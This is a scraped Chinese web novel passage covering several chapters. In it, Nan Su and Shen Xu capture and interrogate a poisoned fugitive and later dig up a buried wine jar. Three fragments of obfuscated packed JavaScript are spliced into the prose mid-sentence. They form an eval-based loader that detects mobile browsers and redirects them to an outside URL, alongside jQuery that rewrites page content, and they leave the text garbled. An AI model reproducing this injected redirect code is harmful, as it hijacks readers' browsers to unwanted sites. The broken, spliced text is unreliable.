RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144229|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口滚动,语气有些不稳:“可是我听说前些日子大理寺已派了人来追捕大人。若不是大人借着这云寂寺躲藏,只怕此时已经……” “没出息!” 郑平猛地转身,腰间蹀躞带挂着的玉饰撞在箱角,发出闷响。 他鼻腔发出一丝不屑的冷哼:“他沈序不过是个乳臭未干的毛头小子,空有一身蛮力,在沙场上尚有点实力,回了京,他还能成什么事?” 乳臭未干的毛头小子? 南夙眼珠子慢悠悠转到沈序身上。心里暗下反驳,虽然但是,沈序还是挺行的,人也仗义,除了爱逗自己,好像也没啥别的缺点。 沈序侧头听着两人的对话,听到那句乳臭未干的毛头小子时挑了下眉。 我很快会让你知道我能成什么事。 沈序心里想着,便感觉有一道视线直勾勾落到了自己脸上,他转眼望去。南夙没料到他会突然看过来,轻往后缩了一下。 “上吗?” 反应过来后,她张大嘴巴无声说道,一面伸出右手食指指了指外面那俩准备向外走的人。 沈序有力地颔了一下首。 南夙猛地起身,右手往箱子上一撑,身子轻巧旋起,腾空越过箱子,稳稳落在地面,两步跑上前拦在郑平与僧人面前。 “嘿!去哪啊?” 她出现的太突然,吓两人一跳。郑平踉跄着后退撞上架子,纸张哗啦啦落到地上。 “是你?”郑平看清眼前人的脸,“你是那位灵诏国的公主!” “哟!居然还认得我?” “少说废话。” 身后沈序刀已出刃,架上那僧人脖颈:“大理寺少卿沈序。” 那僧人站在原地一动不敢动,双腿直打颤。他刀背一翻,猛击僧人后颈,“咚”的一声闷响,僧人两眼翻白,烂泥般瘫倒在地。 沈序握着刀缓步走到南夙身边,语气幽沉:“来收你来了。” 郑平眼珠急转,突然一把将架子往二人边推到。两人连忙闪避,郑平拔腿就朝石门狂奔。 “砰——!” 石门闭合的声音震得金窖内回音嗡鸣。 沈序离石门近,几乎是郑平推倒架子的瞬间他便反应过来,立刻闪身躲避,一脚踹上石门,将郑平的退路挡得严严实实。 他冷眼睨向踉跄倒退的郑平,刀锋一转,寒光印出对方惨败的脸。 “往哪走?” 南夙站在一旁看得好笑,她抱臂嗤笑一声。朝沈序扬了扬下巴。 下一秒,沈序腰间那把长刃落入她的手中。 郑平眼见没了退路,只好拔剑迎战。就南夙那日地观察来看,这人是个练家子,就只不知道水平怎么样。 这么想着,南夙举刀便迎了上去。刀光剑影间,三人身影在烛光间交错。不过几个来回,郑平便被南夙卸了剑。 “就这么点实力?” 南夙拍了拍手,略微嫌弃地看了眼蹲在角落的郑平,“还以为你有两把刷子来着?” 此刻他已被沈序不知哪里来的绳子捆得严实,蹲在角落动弹不得。沈序手中拿着绳子正在捆一旁早就晕过去的僧人。 待他捆完后,南夙揪住郑平的后颈,将他从地上拽了起来。 “走。” 她推着郑平往前走,沈序单手揪着僧人,两人一前一后出了门,沿着原路返回。 “去哪?”出了主厅,南夙回头问道。 沈序扫视了一下这院落,提着那僧人朝寺庙大门走去:“回大理寺。” 他垂下眸子,眼神中晦涩幽深。 贪墨一案,云寂寺逃不了干系。但今日只有他们二人,且没有文书不好动手。待回去审了郑平与这僧人,再来除干净藏在这云寂寺的老鼠。 7. 大理寺夜审 大理寺。 南夙一手撑着右脸,有些倦怠。她望着坐在对面板着个脸的人,忍不住开口道:“你就不能笑一笑吗?” “再这么板着脸我感觉我就要被冻死了。”她搓了搓手臂,“本来大冬天的就怪冷的。” 对面的人终于抬眸看她一眼,没说什么,又垂下眸子来。 南夙无语的给了他一个白眼,懒得给他表情。她从桌上盘子里扯下一块鸡腿塞进嘴里。 嚼吧嚼吧。 干。 柴。 不好吃。 不能浪费啊,她啃下一块肉,艰难地咽了下去。 “你们大理寺审人到底要审多久啊?”南夙忍不住出口抱怨,“你们主子已经进去半个时辰了,他到底什么时候才能出来啊?” 对面人仍不说话。 “哎。”南夙两手交叉撑着下巴,无助地低下了头。 已是子时三刻了,南夙歪头看了眼青石台上的更漏。熬夜伤身啊,从未如此晚睡的南夙不禁发出感叹。 沈序再不出来她感觉自己就要死了。 “主上。” 冰块终于融化,南夙听见坐在对面的那人起身行礼的声音。 南夙猛地回头看去,见沈序自鞠狱厅走来,衣装仍像进去时那样没有丝毫的凌乱,她像是见了救命恩人般欣慰地望着那人。 沈序见她表情奇怪,不禁发出疑问:“有病?” 南夙:“……” “没事。”南夙撇撇嘴,问道,“审完了?” “嗯。”沈序自桌边坐下,给自己斟了杯茶。 南夙凑到他身边,试探道:“那,我去了?” “嗯,去吧。”沈序颔首。 南夙狐疑,这么容易就让她去了?都不拦一下的?好歹仪式走一下呢。算了,管他呢,先问了再说,抓人也有她一份力,沈序总不能在中间使诈吧。 她提步往鞠狱厅走去。 沈序审人审了这么久,却一点声音没听到,他究竟是怎么审的人?难道这房间内隔音这么好? 南夙就这么想着推开鞠狱厅的门,扑面而来是血腥气混着药烟的呛人味道。 昏暗的室内,只有一盏油灯在墙角摇曳,将影子拉长,扭曲着爬满墙壁。南夙走进房内,入目是一个棺椁般的笼子,沉默的伫立在房间中央。 她走进几步,在看清那笼中几乎不成人形的身影时顿了一下,瞳孔不自觉收缩。 郑平双臂反剪,被铁链死死扣在笼柱上,膝盖跪在布满尖刺的底板上,早已血肉模糊。他的头被迫低垂,脖颈被一道铁链固定,动弹不得。 原来是个静音笼,怪不得在外面听不见声。 南夙凑近一看,竟然连牙也拔了。恐怕是为了防止他自尽。 这也太狠了,南夙伸手轻触了一下铁笼,果然摸得一手血。她打了个寒颤,嫌弃地掏出一块帕子擦了擦。 有些担心,郑平这样还能说出话来吗? 沈序也真是的,也不知道下手轻点,好歹先让自己问了话再下重手啊。 她在笼前缓缓下蹲。 “郑平。”南夙开口,“你可见过一个名为乌峰的灵诏男子?” “嗬嗬,见……见过。”郑平低垂着头,嘴里不断发出嘶哑的喘息。 竟直接承认了,南夙微微倾身,琥珀色的瞳孔里含着冷光:“你们做了什么?” “他……他给了我……我一本书……” “什么书?” “一本……关于灵诏蛊……蛊术的书。” “此书现在何处?” “不……知……。” “不知?” “我……”郑平喘息急促,瞳孔开始涣散,被血糊住的睫毛剧烈颤抖起来。 “刚给我……我……那夜,我还未来得及看……便被人盗走了。” 盗走? 郑平看上去已快要坚持不住,南夙眸色骤冷,望向郑平:“你们要这书做何用?” “我……我们……” 郑平张了张嘴,喉间挤出两个字后,突然浑身痉挛起来,呕出一大口黑血,最终重重垂下了头。南夙退后半步,见他像破败的傀儡般被架在笼子里,吐出的黑血泼在衣领上。 她细细观察了片刻,张了张嘴,竟然是毒。 是有人想杀郑平。还是说,有人不允许他说出这些事。 南夙垂着眸子,最后望了眼跪在笼中已经看不出形状的东西,转身出了鞠狱厅。 大门在她身后重重关上,南夙站在门那,抬眼望去,见沈序正放下手中的筷子看她。 “如何?” 南夙尚未开口,便先听到沈序的提问。 她提步朝桌边走去,没有回答沈序的问题,而是反问道:“你早知道他被下毒?” “嗯。”沈序轻轻颔首,“从抓到他的那一刻我就知道,他活不了。” “你大爷的,那你不早让我去审?”南夙一脚踩上桌案,震得案上的碗都抖了抖,她气势汹汹的说道。 沈序的视线跟着她来到桌边,见人刷一下将腿踩上桌,轻挑了下眉:“怎么,没问到?” 他语气悠悠:“我以为给你留的时间已经足够了呢。” “看来这货还是不行啊,居然这么快就断了气。”他没说是南夙的问题,倒去怪郑平死得太快。但南夙听着,就觉得这人是故意的。 她咬牙切齿地盯着沈序。 沈序故意睁大了眼睛,摆摆手,脸上写着与我无关四个大字。他抓起一颗花生米喂到嘴里,“这可不关我的事儿啊。” 南夙给了他一个白眼,将腿自桌案上放下来,拳头已经握紧。 装什么无辜,她抱着手坐下,看着沈序的表情很不友好:“你是不是知道他要死了,故意不让我审?” “怎么会?”沈序不赞同地摇摇头,“夫人说这话怪叫人寒心的,夫妻之间怎么能连这点信任都没有呢?” “咦!”南夙蹙着眉,指尖揪住袖口布料狠狠揉搓小臂,“你说这话怪叫人恶心的。” 说到这里,她想起来自己也确实觉得沈序太容易就答应了她让她去审郑平问自己想问的。才将人抓来时沈序还问她要不要先审,但她想着这毕竟是别人家的地盘,还是拒绝了。虽然说审到一半郑平就断气了,但南夙也没有想过是沈序动的手脚。至于为什么发火?因为没问到关键问题确实让人生气,但这里只有沈序一人能够让她发火。 就是断了线索。 “所以你真的这么容易就让我审了?” “自然。” “你这么放心我?” “夫人又不做什么有害大景之事。” “什么?”南夙没理解为什么突然说这句话。 却见沈序突然起身一手撑在桌面倾身靠过来,贴着她的耳朵缓缓开口:“我也很想知道灵诏究竟被盗了什么宝物。” 南夙微微睁大眼睛,唇线抿紧,没有立刻回答他。 沈序如何会知道? 她细细回忆前几日的行动,确实没有发生任何意外,也为发现过任何人。但沈序既然敢直接这么说,那便是真的知晓了此事。 南夙蹙着眉。 她转头看向沈序,眸子里藏着危险:“你偷听我们说话?” “兵不厌诈啊夫人。”沈序坐回去朝她歪了歪头。 “沈序!”南夙咬牙切齿,像只炸毛地小猫,狠狠吐出几个字,“狗东西!” 沈序也不反驳,姿态闲散,修长的手指搭在桌沿,有节奏地轻轻敲击目光始终落在她的脸上,唇角微扬,似笑非笑。 “你为什么偷听我们说话?”南夙生气问道。 沈序眉梢轻挑,笑意更深:“夫人新婚夜出逃,意图抓捕朝廷要犯,我身为大理寺少卿,理应有职责查清。”他顿了顿,“夫人说呢?” “你知晓那夜我是去抓郑平?” “不巧,看过几本灵诏的古籍。”沈序语气冷了些,继续说道,“知道灵诏蛊术的厉害。那日大理寺派出去的人回来后,无一人受伤,却个个失忆,说不记得发生了什么事。连大夫都看不出来有什么问题。” 他轻笑一声,“夫人又在这时候出逃,未免过于巧了些。” 南夙埋在桌下的手轻轻握紧,千算万算没算到沈序居然知道灵诏蛊术。 “灵诏的古籍,你如何得来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144230|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这原是未传到中原来过的。 青白的月光铺陈在地,映得青砖如水洗般冷冽,而烛火昏黄,在桌案跳动。 “你入府前,你父亲曾给我寄过一封信,还寄来了几本古籍。”沈序望着她的眼睛说道。 “诏父?”南夙语气下意识提高,两手撑着桌,手指不自觉抓紧,又被她克制下来,“诏父……我父亲,他给你写信做什么?” “回去给你看。”沈序扬扬下巴,只言简意赅地说:“你父亲很爱你。” 南夙一下子像是被人顺毛撸了几把,炸起的毛都被抚平,收起了浑身的戾气。她突然有些无措,不敢再去看沈序,左看看又看看,最终垂下了头,却忍不住那扬起的嘴角。 沈序见她无措的样子,不由得轻笑。这一笑,南夙又不满,她抬起头来眯起眼睛指着沈序:“你是什么时候偷听的?为何我毫无察觉?” “我自然有我的办法。” “切,不说算了。”抱手歪头。 “好了,夜很深了。”沈序起身,拿起桌案旁的双刃, “回府吧。” 南夙也跟着起身。本来困得要死,结果这么一闹腾完,又知晓了诏父寄来的信,她现在倍感精神。 南夙提着裙摆跨出大理寺门,踝间银铃似是感知到她的喜悦,她走一步,响一下;走一步,再响一下。 南夙低头看着这枚铃铛,忽地想到什么。她问沈序:“所以你那时便知道我这是蛊?” “知道。”沈序点头。 南夙有些好奇:“怎么知道的?难道诏父连这个都告诉你了?” “没有。”沈序低头轻笑,“我猜的。” “猜的?” “虫鸣。” 沈序只说了两个字,南夙便明白了。但她同时也更惊讶了,沈序居然连铃铛里的虫鸣都听得出来。一般来说,普通人听到蛊铃浑浊的响声只会以为是铃铛生了锈或是受了损坏。 看来沈序的确有些实力。 …… 京城的街道上铺了一层薄雪,像撒了层细盐。南夙踩上青石板路时,发出“咯吱”的轻响。檐角残存的雪沫被夜风扫落,星星点点地飘散在墨色中。 沈序提着羊角灯,暖黄的光晕在雪雾中晕开一小圈,映得两人呼出的白气交织,又很快消散在空中。他们并肩而行,影子落在青石板上,一长一短,时而交叠。 南夙拢了拢大氅。她出来时穿的单薄,早些时候尚能忍受。虽然身体素质好,但寒冬天,又入了夜,难免有些受不了。还好沈序在大理寺存放的有备用的大氅,担心她受凉,便让人拿来给她披上了。 衣摆又拖过积雪,在身后留下一道浅浅的痕迹。沈序的氅衣对她来说有些长,几乎曳地,为了不被绊倒,她走得小心。 夜风掠过道旁的枯槐,南夙不自觉打了个寒颤。 “冷?”沈序侧目,声音有些低。 南夙摇头,却不自觉将手往袖中缩了缩。京城的冬夜还是比灵诏冷得多,南夙看着枯槐间抖落下的细雪,又将氅衣扯得紧了些。 走至市桥,南夙提步踏上台阶。虽然她走得小心,却还是不慎踩到了衣角—— “!” 她身形一晃,还未跌倒,手腕已被一把扣住。沈序的手掌温热有力,稳稳地拖住了她。手腕擦过沈序腰间,腕间银镯与双刃的碰撞声叮铃响起。南夙抬头,正对上他的目光。灯影昏黄,映得他眸色深沉。 “谢谢。”南夙轻声道。 沈序没应声,只是松开她的手腕,转而俯身。将拖地的大氅后摆轻轻提起,挽在臂弯。雪粒簌簌从布料上滑落,坠入桥下的暗河,无声无息。 “走吧。”沈序的声音在身后响起。南夙觉得自己一定是困糊涂了,不然怎么会在沈序的语气中听出几分温柔来。 夜风拂过河面,带起细碎的雪尘,在两人之间打了个旋,又消散无踪。 南夙抿了抿唇,没再说话,只是拢了拢氅衣的领口,继续向前走。沈序跟在她身后半步,手中仍提着那截衣摆。 待过了桥,沈序将手中的衣摆放下来。南夙正欲向他说谢谢,又见他走到自己身前,背对着自己缓缓蹲下。 “上来。” 8. 我不骗你 “上来。” 沈序背对着她在身前缓缓蹲下。 “做什么?”南夙看着沈序的背影愣了一下,半晌才缓缓开口。 沈序转头看了她一眼,又回过头去,语气有些无奈:“照这么走下去,天亮咱们都到不了。” “没事,我……” “而且,怕你冷死了。” 南夙正想拒绝,说自己会走快一些的,却被沈序的话再次打断。她抿了抿唇,犹豫片刻,还是环上了沈序的脖子。 南夙伏在他的背上缩了缩脖子,冻红的鼻尖蹭过他衣领沾上的冰晶。感受到南夙的动作,沈序伸手托住她的腿弯,掌心隔着裙料传来细微的颤抖。 “冷?”他偏头问。这是他今夜第二次问南夙冷不冷。 南夙摇摇头。 “抱紧了。”沈序背着她站起身来,又将手中的灯笼递给她,南夙伸手接过。 南夙揪住他肩头的衣料,靴尖无意识踢了下他腰间挂着的双刃。低头望去,发现他不知何时将双刃挂到了前面去。 “沈序,我发现你这个人好像也没有那么讨厌。”南夙抿了抿唇,在他耳后轻声呢喃。 话音未落,沈序忽然托着她向上一颠,惊得她慌忙环住他的脖子。 “现在不讨厌了?”沈序低笑时胸腔的震动透过相贴的脊背传来。 “谁让你当时那样逗我?”南夙用额头撞他的后脑勺,冻僵的指尖不小心勾到他束发的缎带。 夜风忽盛,沈序就着背她的姿势侧身。 “那样?”他故意拖长尾音。 “反正就是我今夜发现你这个人挺有实力的,性格也不错。”南夙将脸埋进他的肩窝。 “夫人也是。” 又来了,南夙在身后冲他后脑勺翻了个白眼。不过好在她现在对夫人这个称呼已经习惯了,随沈序怎么喊吧。 “沈序,”她拽了拽他的耳垂,“今夜你那个手下……”话到一半又泄了气,手指无意识卷着他的发尾,“他一直不理我,对我态度也不好,是不是你跟他们说我的坏话了?” 她话刚说完,沈序突然松手作势要放她下来,吓得她双腿本能地缠紧他的腰。 南夙一巴掌拍在他的肩上。 “那人性格就这样,除了我的话他谁也不听。”他轻笑一声,重新托住她,指尖在氅衣下不经意划过她的脚踝,惊得蛊铃震颤。“况且,夫人如此可爱,我怎么会说夫人的坏话呢?” 灯笼在南夙手里晃来晃去,光晕也在地上来回晃荡,没起到一点照亮的作用。偏偏沈序也不说,走得像白日里一样稳。 南夙盯着两人交叠的影子望了会儿,突然没头没尾地问:“诏父真的给你寄了信吗?”声音飘忽得像醉话。 沈序踩碎一片薄冰,“真的。” “那你能告诉我吗?”她语气试探。 “不是说回去给你看?” “可是我等不及了,我现在就想知道诏父他给你写了什么。他为什么……不给我写呢?”南夙急得直起身,后半句却又化作呢喃消融在雪中。 “他就是告诉了我一些关于灵诏的事,希望我能够通过这些了解你。”沈序说道,“他告诉我你来京还有任务,抓住窃取灵诏宝物的人。” “这件事也是诏父告诉你的?”南夙抓住他话中重点,“那你不是说……”不是说是偷听的吗? 后半句她没有出口,沈序却能明白她的意思。 “逗逗你。”他语气轻扬。 南夙看不见他的脸,却能立马想到他现在的表情。 “那你从一开始就知道这些事,你为什么不告诉我?”南夙又问。 “不论如何,你始终是灵诏人,我无法知道你是否有其他的目的,是否会对大景有害,所以我只有先调查清楚。调查清楚了,我才能知道,你能不能信,我要不要帮你。”沈序顿了顿,“不过结果出乎意料,你很厉害,如果没有你,大理寺抓郑平确实还需要些时间。” “哼。”南夙语气傲娇,“我就是很厉害啊。” “那还有呢?除了这些,诏父还说了什么?” “让我想想。”沈序静默片刻,缓缓说道,“他说你年龄尚小,玩心重,让我好好照顾你,多包容你。若是你惹我生气,不要与你置气,不然吵架了,你会一个人躲着哭鼻子。还说你入春那会容易生病,嘱咐我一定好好看着你。” 沈序的尾音被抽泣声切断,温热的液体落下,顺着他的脖颈滑进衣领。 南夙将脸埋在他的肩膀:“真的吗?真的吗沈序?你说的都是真的,没有骗我对吗?”她一连问了三个真的吗,像在逼着沈序说是。 但沈序确实说了是。 他说:“我不骗你。他很爱你。” “嗯。”南夙仍未抬头,埋在他的肩膀处,声音闷闷的。 此后一路无话,南夙安静地趴在他的背上,沈序也不再说话,背着她一步一步朝靖北侯府走去, 靖北侯府的院子里枯掉的海棠树在冬夜里刻着年轮。 丑时初刻,树影是婴儿初啼时晃动的襁褓,枝桠如同未合拢的指缝,漏下几粒细雪。盖住埋在树下的酒坛,如今酒香早已凝结在树根,化作一圈琥珀色的纹。 丑时三刻,最矮的横枝上悬着冰凌,恰似幼时临帖的狼毫,笔锋凝滞处还留着先生戒尺的红痕。树皮剥落的声音沙沙作响,是七岁时躲在树后,偷偷撕碎“千字文”的残页发出的啼哭。 丑时正刻,树干上的剑痕突然渗出血珠。十五岁的少年在此磨过他的第一柄剑,霜花覆上刃口,将边关月色与母亲的眼泪,都锻进了冷铁。 丑时六刻,树梢积雪簌簌坠落。红绸牵过,少年牵过新妇,踏入宗堂。母亲亲手所做的同心结高高挂在树上,随着夜风而动。 寅时将至,沈序推开房门。轻手轻脚将背上的人放下。 南夙问完他话后,便在他背上哭得一发不可收拾,许久都停不下来。沈序想哄又不知怎么开口,最后只好说给她讲故事。不说不要紧,一说南夙就得寸进尺地要求听他的故事。 为了哄人他只好说起,从出生讲起,一直讲到两人成亲,背上的人终于睡着。沈序担心她睡着后受凉,便加快了步伐,终于赶回了府里。 替人脱了鞋盖好被子,沈序又放下了床帐。他在床边站了一会,见南夙睡熟了才转身离去。 云雾深重,今夜也看不见月亮。 南夙再睁开眼时,已经日上三竿。安雀正端着水盆走进来。 “小姐,你醒了?”安雀见她坐起身来,开口道。 “嗯。”南夙撑起身子,自己束起床帐。 盥洗毕,便有人陆续进屋送了早食来。今日她醒得太晚,阿家便吩咐让她多睡会,没让人叫醒她。 南夙没什么胃口 ,拾起筷子随便吃了一些,安雀突然自怀中掏出一封信来,递给南夙,还未说明这信的来处,南夙已经将筷子放下,伸手接过。 “世子爷今早命我给小姐的。”安雀补道。 南夙点头,“嗯,我知道。” 说着便迫不及待的拆起信来。 安雀又说:“世子爷还让人送了几本书来。” “书?”南夙手中动作慢了一瞬,才想起来是诏父寄给沈序的那几本灵诏古籍。 她思量一下,说道:“连那几本书一起拿来吧。” 安雀便起身去拿书去了。 南夙手忙脚乱拆开信,手有些抖,颤颤巍巍将信中纸笺抽出,一字一句读起来。 才读半行,她的泪便砸在那信纸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他说当然,也真的讲起了他的故事。讲到他出生时靖北侯在院内海棠树下埋了一壶酒,待他及冠日再挖出时。南夙在身后轻哼了一声,她缓缓开口,“明日我就去给它掘了。” 听着意识已有些不太清醒,但仍坚持着听他说下去。 沈序听她这话不由失笑,却也没说什么。他轻笑一声,语气温柔,“好,明日我陪你去掘。” 南夙困极,但听着他的故事,却仍一会接一句,不让他的声音孤独的在这冬夜里响着。直到沈序说讲完了,她的双手还在沈序身前合十鼓了鼓掌,为他的人生喝彩,然后头一歪,在他肩上彻底睡死过去。 想到这里,南夙的脸更红了。她有些别扭地抬头望着沈序,“昨夜谢谢你送我回来。” “不客气。”沈序开口,又问她,“所以,去不去?”说着拇指往外一指。 南夙当然知道他说的是挖酒一事,但昨夜那话她只是随意一说,也没想到沈序会当真,更何况那还是他的及冠酒,自己怎么能说挖就挖。 “可是那不是阿翁为你埋的及冠酒吗?”南夙有些为难地说道。 沈序知道她的顾虑,但本来就是为了找些别的事来转移一下她的注意力,干脆改了口,“那树底下还有一坛是母亲为我埋下的。本来应当在新婚夜挖出,但一直忙于琐事,便一直耽搁着。”他俯身,朝南夙挑了下眉,“夫人要不要同我一道将它挖出来?” 南夙狐疑,这么巧? 但沈序似是等不及了一般,直接进了屋子,将她从榻上拉起,又自一旁挂着衣袍的架子上拿起件红色大氅,罩在南夙身上,又替她系好了带子,便拉着人往前院跑去。 南夙尚未反应过来,便已被摆弄着收拾妥当,迈着腿跑出去。 “慢一点!” 她娇俏的声音自院中响起。 9. 两只泥娃娃 “就在这。” 靖北侯府前院,两抹绯色的身影蹲在一棵枯萎的海棠树下。沈序不知从哪找来两把铲子,扔给南夙一把,拉着人蹲下。 铁铲掘土的声音在院中环绕着。 “再往下挖一点。”沈序握着铲子,手指了下二人挖出的那个坑,“母亲说过,埋在树根往西三尺。” 南夙跪坐在一旁,大红斗篷拖在雪地上,正用铲子铲开冻硬的土层,指尖已经蹭黑了,挖得很是专注。沈序蹲在她身旁,绯红的衣袍下摆也同样沾满了泥雪。两人鼻尖冻得通红,却没一人提,都全神贯注地刨着土。 南夙双手握着铲子往下使劲,快到树根时放下了铲子,用手将底层的泥拨开。 “找到了!”她猛地抬头看向沈序,小脸被冻得通红,却笑得眼睛弯弯。 泥土里露出一个青瓷酒坛,封口的红布已经褪色,看不出年份,但坛身依旧完好。沈序丢开铲子,小心翼翼将它捧出来,指腹摩挲过坛上浅浅的刻痕。 他举起酒坛仔细忘了下,发现坛子底刻着两个字,是一个名字,看上去像是一个女人的名字,叫做沈令仪。沈序打量着坛底的字。这是谁的名字?为何会刻在父亲为他埋的酒坛底下? 南夙见他举着坛子望着坛底发呆。凑过去贴着他也朝那坛底望去,“沈令仪。” “这是谁的名字?”她问沈序。 “不知道。”沈序摇头。 “沈序!” 南夙正想再说些什么,廊下突然传来一声怒吼。他们一齐朝那边望去,便见侯夫人手握戒尺,双手叉腰立在抱廊,盯着两人看了片刻,忽踏着积雪怒气冲冲而来。 “昨夜带着夙儿出府去寅时才归家,今日又在这胡闹!” 侯夫人手中戒尺随着动作就要飞来。沈序迅速拉起还未反应过来的南夙,将酒坛塞到她怀里,一边偷偷挥着手,一边朝她使眼色,“快走快走!” 南夙反应过来,一手抱着酒,立马张开另一只手臂挡在他的面前,“阿家!是我非要夫君带我出去玩的!我……我听说城南有灯会,缠着他带我出去。又在外贪玩,耽搁了时间,才会……才会回来那么晚的。” 阿家戒尺悬在半空,瞪着身前两只泥娃娃,两人脸上身上都沾了泥,南夙发间还挂着枯叶,活像两只刚从雪地里跑出来的红狐狸。 再瞥见南夙怀里抱着的那坛酒,闪过一丝惊讶,眼神不可察觉地暗了几分。半晌,她胸口起伏两下,重重叹了口气。 “……两个小混账!”戒尺“啪”的一下抽在海棠树干上,震落一堆积雪,“快去换衣裳!这么冷的天两个人就这样蹲在院子里刨土。 说着她拉过南夙,手指轻轻点了下她的鼻尖,“瞧瞧这鼻尖都冻成什么样子了?” 她瞪旁边的沈序一眼,“都成家的人了,你看看像什么话?夙儿还小。你还小吗?”手中戒尺又有扬起的迹象。 沈序:“……”好像我才是亲生的…… 南夙低着脑袋,乌黑的发丝滑下来黏在脸侧,她眼珠子滴溜溜,左瞅瞅右瞅瞅,睫毛忽闪忽闪的。听着沈序在一旁挨骂,也不敢说话。 “母亲!”眼见侯夫人的批评愈演愈烈,沈序出口打断,“我知错了母亲。让我们先去换衣裳吧,一会南夙该着凉了。” 嗯? 南夙抬头,沈序朝她眨眼睛。 “嗷对,阿家,我们真的知错了,阿家就原谅我们吧,”她伸出一只手想拉阿家的手,垂头又瞥见自己一手的泥,只好放下。 南夙开口,侯夫人虞寒晚也舍不得再说什么。 “半个时辰后我若是在膳厅见不到你们……”她睨了眼沈序,语气严肃,“沈序来受罚。” 沈序愣在原地,“……” 南夙悄悄拽他的袖子,两人低头应“是”,刚要转身,侯夫人又拿过她怀里的酒坛,递给她一个手炉,又扔给沈序一个,“一会手指头要冻掉了。” 南夙望着阿家抱着酒离开的背影,忍不住想要伸手挽留,“我的……酒。” 那可是她刚挖出来的酒,她表情落寞。 沈序忽然抓住她欲要伸出去的手,贴近她的耳畔,“别担心,阿家会还你的。” “真的吗?” “嗯。”沈序点头,轻撞了下她的肩,给她竖起了大拇指,“仗义!” 南夙知道他是在说刚刚维护他的事,扬了扬唇说没事。 沈序又说:“好了,先回去换衣裳吧,一会真该着凉了。” “好。”南夙搓了搓手,搓下一手的泥,她低头看了眼,愣了下,又抬眼望沈序,“噗呲。” 她没忍住笑出声来。 沈序疑惑地朝她看来。 她没忍住大笑,猫儿眼弯成了月牙儿,指着沈序,“你现在,像一只泥娃娃一样。哈哈哈……”笑着笑着手就捂到肚子上了。 沈序低头一看,绯色的衣袍早已看不出原本的颜色,袖口还沾着冬日泥土的寒气。若是旁人看了,怕是没人敢认这是大景的战无不胜、意气风发的少年将军。 他挑眉看向同样狼狈的南夙,忽然伸手在她鼻尖轻轻一刮,“彼此彼此,我的泥娃娃小姐。” “呀!”南夙惊呼一声,摸着鼻尖那凉飕飕的泥痕,气得跺脚,“不要脸!” 沈序大笑着往前跑,南夙提着裙摆在后面追。她绣鞋踩过积雪,溅起的泥点子落在两人的衣摆上,像……像点点红梅。 “站住!”南夙在身后追赶。 进了院子,沈序拐弯去了偏房。南夙才刚推开门,安雀便迎了上来,先是惊讶了一会,上前来帮她褪了衣袍。 南夙搓着手哈了哈气,呼出的白气融化在屋内的暖气中。 蒸腾的水雾在厢房里缓缓散去,南夙正将最后一只玉簪别进半干的发间,抬手间银环轻撞声叮当。镜中映出她身着杏色绣梅纹襦裙的模样,广绣垂落间,遮掩住腕间的银镯。 “吱呀——” 木门轻响。 沈序推门而入,发梢还滴着水。他望着南夙换好的襦裙,突然怔住,想起来自南夙入京以来便一直身着中原服饰,从未见她穿过灵诏的衣物。 “你……”他喉结动了动,“我好像从未见过你穿 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“没事。”南夙抬头望着他,“中原的衣裳也很舒适,而且很漂亮,我也很喜欢。” 她朝沈序眨眨眼睛,将人往一边一推,“好了,你快出去吧,我还没收拾好呢。” 沈序却忽地抓住了她的手,双眸紧盯着她的眼瞳,“你的眼睛……” 南夙慌忙垂下眸子来,“没事,就是刚刚进水了,有点发红。” “你快走吧。”她用力抽回自己的手,再一次将人往外推,“去前面等我,快去。” 沈序没说什么,收回自己的手,离开了房间。 待他的脚步声听不见后,南夙才抬起眼眸来望向镜中,那双琥珀色的瞳孔旁闪着点琉璃绿,在眸间亮着光,眼眶里那道银色的细线缓缓从眸子中爬过,南夙狠狠闭了下眼睛,再睁开时,琥珀色已经不见,被波光潋滟的琉璃绿代替。 南夙慌张叫安雀。安雀听到她慌张的声音忙进了屋,看到她双眼的那一刻同样一怔。 “小姐!”她惊叫出声,又忙压低声音,“这是怎么回事,明明……”明明距离上一次用药才过了一天一夜,怎么会又变回了原来的颜色? 南夙盯着镜中那双瞳子说不出话。半晌,她缓缓低下了头,“我也不知道是怎么回事,先用药吧,阿家唤我去膳厅,耽搁不得。待晚些时候我们再讨论。” “是。”安雀应声,自柜中拿出一个锦盒,将其中东西拿出,一一铺放在桌案上。 一炷香后,南夙已大汗淋漓。安雀颤着手捏着锦帕替她擦汗,满脸心疼,“小姐这药不知要用到何时才是个头。” 南夙抓住她擦汗的手,轻摇了摇头,“日后别再说此话。”她琥珀色的瞳孔有些失神地望着地面,半晌才缓过劲来。 房门此时忽然被敲响,“世子妃,您好了吗?”门外传来丫鬟的声音,“侯夫人在膳厅催了。” “这就来。”她冲门外大喊了一声。 “把东西收拾好。”南夙起身,拢了拢衣袍,往前厅而去。 10. 下江南? 膳厅内,沈序与阿翁一行早早便等着。南夙才一踏进房门,沈褚便一脸高兴地叫她。 “嫂嫂你终于来了!”他托着下巴,摇头晃脑地望着南夙,朝她撒娇,“我都快饿死了。” 南夙宠溺地笑了下,“抱歉,换衣裳花了些时间。”她语气歉疚。 阿家说不需要道歉。她走至桌边坐下,刚衔起银箸,状似不经意地抬眸望了眼沈序,却见沈序视线也正朝她掠来,但只一眼,便收了回去。 